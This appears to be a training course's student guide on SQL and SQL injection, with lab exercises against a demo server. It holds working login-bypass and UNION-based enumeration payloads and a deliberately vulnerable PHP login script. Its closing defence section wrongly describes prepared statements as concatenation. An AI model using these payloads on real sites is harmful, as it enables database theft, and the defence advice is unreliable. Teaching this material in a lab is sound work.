Web Exploitation - Day 2

Version Date: 24 SEP 2018

Student Guide Printable Format

Skills and Objectives

Section 7.2.1: Web Exploitation

Table of Contents

SQL

Outcome:

Student will be able to:

- Describe what SQL is
- Explain how SQL injection can be used to exploit a database
- Perform basic SQL injection, to exploit a database

What is SQL?

Structured **Q**uery **L**anguage, which is the standard language utilized to interact with Relational Database Management Systems (*RDMS*)

Various vendors have their own additional proprietary extensions for their specific versions, which led to small differences between vendors that may need to be researched, once the DB type is known. This means if you are interacting with an Microsoft SQL (MsSQL), SQLite, etc. DB, then you will need to adjust syntax as required.

Commands, such as below, are standardized across vendors, and can accomplish almost all tasks inside a Database:

```
SELECT
UPDATE
DELETE
CREATE
DROP
```

Relational Databases

Most current SQL databases are relational, data is organized based off logical relationships and can be accessed or reassembled in different way without the need to reorganize the data.

Databases are broken up into **Tables**. These tables contain **Columns/Fields** and **Rows** which contain the Data/Records. Each Table has a unique primary key and relationship between tables can be built with the use of adding a foreign key, which links to the primary key of another table.

Basic SQL Commands:

Command	Usage
`USE`	Select the database to use**
`SELECT`	Extract data from a database
`UPDATE`	Update data in a database
`DELETE`	Delete data from a database
`INSERT INTO`	Insert new data into a database
`CREATE DATABASE`	Create a new database
`ALTER DATABASE`	Modify an existing database
`CREATE TABLE`	Create a new table
`ALTER TABLE`	Modify an existing table
`DROP TABLE`	Delete a table
`CREATE INDEX`	Create an index (search key)
`DROP INDEX`	Delete an index
`UNION`	Combine the result-set of two or more equal SELECT statements**

SOURCE: https://www.w3schools.com/sql/sql_syntax.asp

DEMO: SQL Commands (SQL Demo Box)

```
SHOW databases;
SHOW TABLES FROM session;
SELECT * FROM session.car;
USE session;
SHOW Tables;
DESCRIBE car;
SELECT * FROM car;
SELECT * FROM car UNION SELECT tireid,name,size,cost,1,2 FROM Tires;
```

NOTE `;` terminates the command, sending it to the DB for execution.

PRACTICE: SQLBolt

SQLBolt.com

Tutorial part of lesson, so students may gain basic experience on interacting with a SQL Database.

Students will work on Interactive Tutorials *1-11* and *13*

SQL Injection

Overview:

SQL injection is the use of **Valid SQL Queries**, via input data fields or attaching of queries to the end of URLs, from the client-side to a server-side application. This allows data to be read or modified. You could have a fully patched LAMP stack, yet still have a vulnerable webapp, because it was configured incorrectly, hence vulnerable to SQL injection, which relies on unsanitized input fields.

Sanitized fields mean that user input or data is checked for items that might harm the database.
For client-side this means that pieces of the data are modified by removal, escaping, or conversion to a string.

Validation, on the other hand, checks inputs to ensure that they meet a criteria, such as the string not containing a single quote. An example might be an email address input field. Instead of trying to remove known **bad data**, it may be better to remove all but known **good data**. This distinction is crucial, as an email address should only contain the following characters:

```
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_+
```

DEMO: SQL Injection (SQL Demo Box)

Truth Statements:

Perform the following Commands from the CLI:

```
USE session;
SELECT id FROM user WHERE name='tom' OR 1=1;
```

This works because the OR clause `1=1` is true, so the database will return all entries housed in `id` field

Perform the following from the web:

- Navigate to you SQL Demo Box `http://10.50.XX.XX`
- Examine `http://10.50.XX.XX/index.html`

Students should identify the following in `index.html`:

```
<form method="post" action="login.php">
    <!-- METHOD is how the data is sent to the server through HTTP -->
    <!-- ACTION is what is being called (login.php contains code on how the received
data is processed) -->

    <input type="text" id="username" name="username" maxlength="50" />
    <input type="password" id="passwd" name="passwd" />
        <!-- These fields show variable names (username & passwd) that will be passed
to login.php -->
```

On the login page enter the following in both the username and password field:

```
tom' or 1='1
```

- Examine the **Developer Console** and find the **Request Header** under the **Network** tab
  - What Type of HTTP Request was performed, and can we try a different one?
    - `POST` was utilized (Students should identify the parameters passed in the Request)

Navigate to the `login.php` page. Are there any errors?

Now populate the items causing the error:

```
<URL>/login.php?username=tom' OR 1='1 & passwd=tom' OR 1='1
```

```
if($_SERVER["REQUEST_METHOD"] == "POST") {  // looks for POST data.

   //Set up DB connection
```

```
   $con = mysqli_connect('localhost:3306','webuser','sqlpass','session') or
die(mysqli_error());    // sets up our connection to our DB

   //Pull creds from form
   $username = $_POST['username'];          - sets our POST variable to a php variable
   $passwd = $_POST['passwd'];              - sets our POST variable to a php variable

   //Query set up
   $q = "select name,pass from user where name ='$username' and pass ='$passwd'";   //
our sql query to be passed to the DB
   $result = mysqli_query($con, $q);
   $rows = mysqli_fetch_array($result,MYSQLI_BOTH);

   //DB check
   if($rows >= 1) {
     echo "добро пожаловать товарищ", $rows['name']; // what will be displayed to the
user
```

```
elseif($_SERVER["REQUEST_METHOD"] == "GET") {   // looking for a GET request

   //Set up DB connection
   <DOESNT CHANGE>

   //creds
   $username = $_GET['username'];   // sets our GET variable as a PHP variable
   $passwd = $_GET['passwd'];   // sets our GET variable as a PHP variable

   //Query set up
   <DOESNT CHANGE>

   //DB check
   if($rows != 0) {
        while($rows = mysqli_fetch_array($result)) {    // What will be displayed
during a GET request
        echo print_r($rows);
```

Methods to find an unsanitized field:

- ' (**single quote**) will return extraneous information if the field isn't sanitized
  - We are trying to end the string and attach additional variables, or clauses, to the back-end SQL query
- If ' **(single qoute)** displays no error messages or generic errors than field is likely sanitized.

DEMO: SQL Injection - Nesting Statements (SQL Demo Box)

Perform the following Commands from the CLI:

```
SELECT carid, name, (SELECT SUM(cost) FROM Tires WHERE name = "goodyear") FROM car
WHERE name = "ford";
```

The above query pulls data from two tables, combining Ford vehicles and Goodyear tires

Adding an additional nested statement, would be the following:

```
<INITIAL QUERY> UNION SELECT 1,2,name FROM user; -- This is the Nested Statement added
to the below Query

SELECT carid, name, (SELECT SUM(cost) FROM Tires WHERE name = "goodyear") FROM car
WHERE name = "ford" UNION SELECT 1,2,name FROM user;
```

Perform the following using `http://10.50.XX.XX/Union.html` (SQL Demo Box):

NOTE	`UNION SELECT` demo will show the steps of how to go from determining an injectable area, to grabbing the DB schema. Demo app has separate POST and GET input functions, to show case both needing to use `'` and not needing to use `'`

- Validate **Normal Functionality**
  - What are the expected results?
- **Test** our *Truth Statement*

`POST` Method through **Cars** input field:

```
Ford' OR 1='1   -- Try ALL options (Audi, Honda, Dodge)
```

`GET` Method through **Tires** Selection field

Change the Selection Number to (1 - 4) to show the process of testing for URL injection Injectable Syntax:

```
<URL>/uniondemo.php?Selection=2 OR 1=1        <!-- WORKS! -->
```

```
<URL>/uniondemo.php?Selection=2' OR 1='1  <!-- DOESN'T work! -->
```

Nesting a Query:

```
<URL>/uniondemo.php?Selection=2 Union SELECT 1,2,3  <!-- Validate NUMBER of columns
required -->
<URL>/uniondemo.php?Selection=2 Union SELECT 1,name,3 FROM Tires <!-- Test pulling
VALID data -->
<URL>/uniondemo.php?Selection=2 Union SELECT 1,name,3 FROM car <!-- Test pulling data
from ALTERNATE table -->
```

Comment Syntax:

- `#` — Anything after a pound will be ignored
- `--` — This is two dashes and a trailing space. Anything after will be ignored (INCLUDING syntax appended by the backend script/app)

This syntax will be utilized with more complex backend queries, that leverage advanced functions, or where only certain areas within the query are susceptible to injection.

More complex query (Where the injectable variable is in the middle of nested query): We use the `)` (close parenthensis) to close part of the nested query. We than need to make the query **TRUE** in order to inject our `UNION` with a terminator, to then properly execute our modified query. We finally add the `#` (pound sign) to comment out the rest of the legitimately configured query (that is embeded in the server-side PHP code). NOTE: This is a little more advanced and requires us know exactly how the legitimate query is configured, so that we craft our precise inject.

As an example, you might have a page that asks for both a `username` and `password`.

Inject the following in the username input field:

```
admin'--
```

The resulting query, being executed by the server, would look like this:

```
SELECT * FROM members WHERE username = 'admin'-- ' AND password = 'password'
```

DEMO: SQL Injection - Database Enumeration (SQL Demo Box)

The backend PHP code utilized will dictate both what query is executed, as well as how the resulting data from the database is displayed to the user. Enumeration of the database is **key** to determinining what information will create a valid SQL query.

Key Items To Identify:

- Database Structure
  - Databases
  - Tables
  - Fields

Other Helpful Information:

- Database Version
- Data within the Databases

Blind SQL injection:

Occurs when an attacker sends TRUE/FALSE statements to determine how the database is configured.

```
<URL>/uniondemo.php?Selection=2 Union SELECT 1,2   <!-- GET METHOD, enter in the URL
-->
Audi' UNION SELECT 1,2,3,4 #                      <!-- POST METHOD, enter in the Input
Field -->
```

The above syntax inserts a SQL query at the end of URL query string (GET), OR input field (POST) to determine schema (structure) of the table, by incrementing by one more field (5,6,7,etc.) until results, or an error, are displayed. This provides an attacker more information about how may fields are configured in the query.

TIP	Knowing the schema can allow an attacker to create detailed queries, to determine database, table, and field names. Example syntax for determining which tables exist within a database are listed below.

`GET` Method (URL)

```
<URL>/uniondemo.php?Selection=2 UNION SELECT 1,table_name,3 FROM
information_schema.tables
<URL>/uniondemo.php?Selection=2 UNION SELECT 1,table_schema,table_name FROM
information_schema.tables
<URL>/uniondemo.php?Selection=2 UNION SELECT table_name,1,column_name FROM
information_schema.columns
<URL>/uniondemo.php?Selection=2 UNION SELECT table_schema,column_name,table_name FROM
information_schema.columns
<URL>/uniondemo.php?Selection=2 UNION SELECT null,name,color FROM car
```

`POST` Method (Form Input):

```
Audi' UNION SELECT 1,2,table_name,4,5 FROM information_schema.tables #
Audi' UNION SELECT 1,2,3,table_schema,table_name FROM information_schema.tables; #
Audi' UNION SELECT 1,2,table_schema,table_name,column_name FROM
information_schema.columns; #     -- "Golden" statement
Audi' UNION SELECT 1,2,3,name,size FROM session.Tires; #
Audi' UNION SELECT @@version,database(),3,name,size FROM session.Tires; #
```

- Change the column name to a different spot, in order to see how you can manipulate the output from the SQL query.

```
<URL>/uniondemo.php?Selection=2 UNION SELECT 1,column_name,3 FROM
information_schema.columns WHERE table_schema=database()
```

IMPORTANT	`&` (ampersand) in a URL basically means adding/attaching more variables/queries in the URL. It has special meaning in URI/URL strings. `AND`, on the otherhand, will be interpreted as a combined query, not two GET variables.

SQL Injection Defense

To defend application side, input fields must be sanitized/validated. This means that they concatenate all statements into a single string, or escape certain characters.

A basic PHP example is utilizing the function `mysql_real_escape_string` which replaces `'` with a

safely escaped `\'` (single quote).

A SQL example is to use prepared statements such as SQLite's `sqlite3_prepare()` which takes what is entered, then looks for a literal match (aka concatenation).

A single concatenated string will prevent injections such as `1 OR 1=1` modifying a scripted SQL query.